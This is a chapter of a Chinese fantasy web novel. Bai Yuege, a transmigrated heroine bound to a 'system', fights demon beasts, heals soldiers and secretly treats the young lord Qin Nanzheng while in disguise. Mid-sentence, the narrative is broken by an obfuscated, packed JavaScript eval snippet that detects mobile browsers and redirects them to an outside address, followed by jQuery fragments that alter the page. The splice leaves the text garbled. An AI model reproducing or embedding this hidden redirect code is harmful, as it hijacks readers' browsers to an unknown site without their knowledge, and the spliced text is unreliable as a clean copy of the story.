有了这些天阶火属性印灵的加入,战况隐隐有好装的迹象。这里的妖兽明显会被火属性的印灵压制。
但众人也开始感到怪异,明明是龙崖附近,怎么会有这样多的地阶妖兽?这更像是在域外深处才会遇到的情况。
更糟糕的是,他们印灵的力量,在异常的迅速流失。天在逐渐变暗,等到夜里,瘴气只会比现在更重。
所有人都意识到了事态在逐渐恶化。
“夫人,如果再不撤,我们会像先前那两队人一样折在此处!”
白月歌正掌控着印灵,替围绕在远处的联兵止血驱散,不知是否该听从他的建议时,隐身了大半天的系统突然发出警告。
【人设已丰满!请宿主尽快撤离姜菜庄!】
15. 你就这么缺钱?
从来没经历过血腥刺激场面的白月歌,带着外伤回了龙崖。
有些联兵被瘴气污染得十分严重,外伤也惨不忍睹。
仅仅让天阶地阶的木灵君来为他们驱散医治,就算能活命,以后也会因失去印灵痛苦难忍。
白月歌在系统的OOC威胁下,咬牙忍了左肩上的穿刺伤,依旧仪态优雅,机械地一遍遍在联兵们的印灵领域驱散污染。
虽然行云流水的动作让人看不出一丁点疲惫,但实际上,白月歌是有些撑不住了,心里就难免有些烦躁。
此前在混战中,那个因她出手射杀妖兽才活下来的年轻联兵,在之后的撤退里越战越勇,但因为太过尽职尽责。难免又受了重伤。
白月歌在给他医治的时候,发现这年轻小子直勾勾盯着自己肩头的血洞,令她感到些许尴尬。
和秦南徵的扭捏不同,这小子脱下上衣,裸着健硕的上半身,将长着印灵的左臂主动伸到白月歌眼前。
他的印灵,是一只红嘴蓝背,身后拖着黑白相间尾羽的鸟,水墨蓝的翅膀展开时,像极了文人墨客的折扇。
白月歌觉得漂亮,就多看了一眼,那鸟儿就张开双翅,疯狂向她展示自己的美丽。
“我的青鸟印灵很活泼可爱吧!”
“……”
快停下,再going她会忍不住想上手rua的!
“夫人先处理自己的伤口吧!我还扛得住!”
白月歌按照人设,漠视了他的关切。
她掌心克制地按在他左臂的青鸟印灵上。领域相通的一瞬间,白月歌迅速操控手中的忍冬印灵,藤蔓和花丝肆虐般的清扫其中的瘴气,将领域内那只贴着花丝飞来飞去的碍事青鸟驱赶到了角落里。
驱散一结束,这小子就扶着剑亦步亦趋跟在白月歌身后,一边看她替别的联兵同袍驱散领域内的瘴气,一边同她讲话。
“我叫秦青商。今日有幸和圣阶灵君同战。”
白月歌为了维持守礼又温柔的人设,耐心地恭维他清剿妖兽时很勇武。
这却让秦青商的话匣子开得更大:“我之前在青翼营待命,没少听前辈们讲你的事迹!”
白月歌手下动作不停,忍冬藤蔓风卷残云般,解决掉一个个联兵身上的瘴气污染。
秦青商围观全程后,还在她身后喃喃自语:
“以前看小哑巴做驱散,都是温吞吞地,不像你刷——得就完成了。”
听到小哑巴这熟悉的名字,白月歌手下动作停滞,看向了帐内也在为受伤联兵医治的小哑巴。
在姜菜庄的那场酣战,作为刚突破了地阶的木灵君,小哑巴也赫然在列。
但听秦青商的语气,他和小哑巴貌似很熟稔。
白月歌虽有些诧异,却也忍着没去问。
可秦青商从不会让话掉地上,自顾自地继续说:“不过也是,小哑巴还没突破天阶……所以圣阶木灵君的驱散都是这么利落潇洒吗!”
白月歌没再给他任何回应,开始将印灵延伸到掌心外的灵体收回,适逢白厢和白荣相携着从帐外进来。
“女郎,外面也结束了。”
白月歌点头,陷入沉思。
她思索的时候总会不自觉地两手相握。当手心接触到小指上散发着滚烫热意的锁灵戒时,她想起了自己昨夜同秦南徵说过的约定。
白月歌瞥了眼正低头认真医治外伤的小哑巴,做下最后的决定。
“白厢,你留在这里帮小哑巴守夜。”
话音刚落,不远处的小哑巴闻言,慌乱起身向她鞠了一躬。
*
将白厢和小哑巴这两个有可能阻碍自己的人支开。
白月歌用攒下的灵力替自己简单处理了下伤口,就趁着夜色溜进了泽鹿苑。
一推开门,迎面而来的热气将她身上的寒意融化。
秦南徵显然将她的话记在了心上,让炭盆一直燃着。
白月歌左肩上带着还未愈合的伤,在动作上难免有些滞涩。
“你受伤了?”
“被妖兽的喙伤了,没什么大碍。”
白月歌觉得这没什么好隐瞒的,毕竟他又不会离开泽鹿苑,更不会知道自己长嫂的伤口也在左肩。
“妖兽?”秦南徵今日被人抬着去东石台,自然猜出发生了什么,“你随联兵到姜菜庄去了?”
白月歌点头,为了增添真实性,她装作自己是个为生活所迫的小卒子:“唉,也是没办法。我家里孩子多,过得紧张。他们又给得实在是多。”
白月歌一直遮着脸,洗髓散掩饰下的身材又很矮,这让秦南徵以为她是个同自己年纪差不多的少女,完全没想料到她居然已经成家当了娘。
他转身从床边的暗格里摸出两块上品灵石,塞到了白月歌的手里。
“拿着。
“别别别。”
“以后卖命的钱少去赚,小孩子不能没有娘。”
“……”白月歌掂着被塞进手里的灵石,罕见地心虚了。
行吧,以后就走苦情人设吧。
“非是我就缺那点卖命钱……凡地阶以上的灵君,都被夫人点了名。”
秦南徵一听到白月歌被提起,嗤笑一声:“所有地阶以上?那妖兽被解决了么?”
白月歌摇头。
秦南徵很是看不上他们这次清剿妖兽的行动:“几十个人,还解决不掉域内不成气候的妖兽?白月歌被青翼营的人吹上了天,其实不过是个花瓶。”
“只夫人这一个圣阶,还是木灵君。妖兽太多,我们杀之不尽……”白月歌尽量渲染妖兽的可怕。
秦南徵选择性不听:“也是,她那么爱惜羽毛,才不会为了小卒子去跟妖兽拼命。”
白月歌:“……”
被人当面骂了,她再也忍不住,打断了他:
“其实这次……夫人她身先士卒,一直在尽力救人。”
不同于前几次露出身体的腼腆,秦南徵恨恨地扯下了外衫:“呵——”
“一个被窝睡不出两种人,她跟秦东羽都不是好东西。”
前一句白月歌承认。
林软软和秦东羽就是一个被窝的烂人。
秦南徵:“老女人佛口蛇心,惯会装样子,你千万别被她迷惑了。”
在背后正摸彩蛋的白月歌,因为这句老女人,瞬间拳头梆硬。
她简直想在身后锤爆他的狗头!
却听这小子又给了她一句忠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054782|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
告。
“你没淌过大家族里面的浑水,太单纯好骗了。听我的,以后见了她,能躲多远,就躲多远。”
“那你人还怪好嘞!”白月歌撇嘴,懒得继续跟他抬杠。
她摸向了秦南徵的后腰,在系统的提示音中,完成了今日的彩蛋触发。
秦南徵感觉到她手指停下了检查的动作:“可还有余毒?”
怀有私心的白月歌立刻否认。
“我倒感觉已经全好了。”秦南徵摸了摸颈侧那只爱吐人口水的重明鸟。
那鸟精神抖擞,眼睛瞪得像铜铃。
“印灵倒是没问题,但稳妥起见,我还得多来几次,”白月歌不得不为自己之后的任务铺路。
今天任务完成的很顺利,她准备挎着药囊溜之大吉时,动作间却牵动了肩头的伤口,“嘶——”
血又渗出了些,在黑色的夜行衣上留下深色的痕迹。
秦南徵瞳孔闪过一抹金光,自然看出了血迹:“灵君先顾着自己吧,晚几天也无妨。”
“正要跟小郎君说——我恐怕近几日都抽不出身。”白月歌一口气没续上,又因洗髓散的作用,喉间又痒又痛,话没说完,就在遮面下剧烈咳嗽。
秦南徵垂下的眼睫在面上影影错错,他皱眉的样子让白月歌看不出情绪。
白月歌:“后日一早,我还要再随联兵去清剿妖兽。”
“你还要去?”秦南徵不明白,“即便再是点了名,有伤在身也是可以告假不去的。”
“钱比命还重要?你就这么缺钱?”
白月歌很想告诉这个被金尊玉贵养大的少爷,对有些拼尽全力才能吃饱穿暖的人来说,是这样的。
当然眼下并不能,将钱看得命重是她为任务假定的人设而已,没必要较真。
秦南徵看她沉默,又默默从博古架后面摸出一大块上品灵石,丢给了她。
白月歌看着流光溢彩的灵石,打算收回锤爆他狗头那句话。
美强惨早期口嫌体正直的模样,还挺有反差萌。
他不耐烦:“够你出一次任务了吧?听我的,告假别去。”
这样的秦南徵,让白月歌不想再说谎。
她摇了摇头。
如果口头答应他不去,但最终却背着他去……
若是在第二次清缴中不受伤还好,若是添了新伤,那她再见秦南徵时,还要想办法瞒着,甚至又要编造更多的谎言。
那样不是办法。
白月歌在秦南徵带着些许不解的目光下说:“不去会惹上麻烦的。”
“这次情况很糟,否则那些家臣也不会自己打脸,一大早来请你。”
“你希望……你们……”秦南徵的眼睛如黑暗中的火星,“我是说,你和二堂伯。希望我出手么?”
白月歌摇头,她不知道。
秦南徵枕着手臂,一言不发地躺在床榻上。
白月歌见状,于静默中离开。
可第三日,她根据系统发布的任务,带着联兵第二次清缴姜菜庄的妖兽不利,准备再次撤退时——
根本没指望秦南徵会出现的白月歌,竟看到了握着陌刀的少年,神情冷漠又孤傲,只身自瘴气深处杀出了一条血路。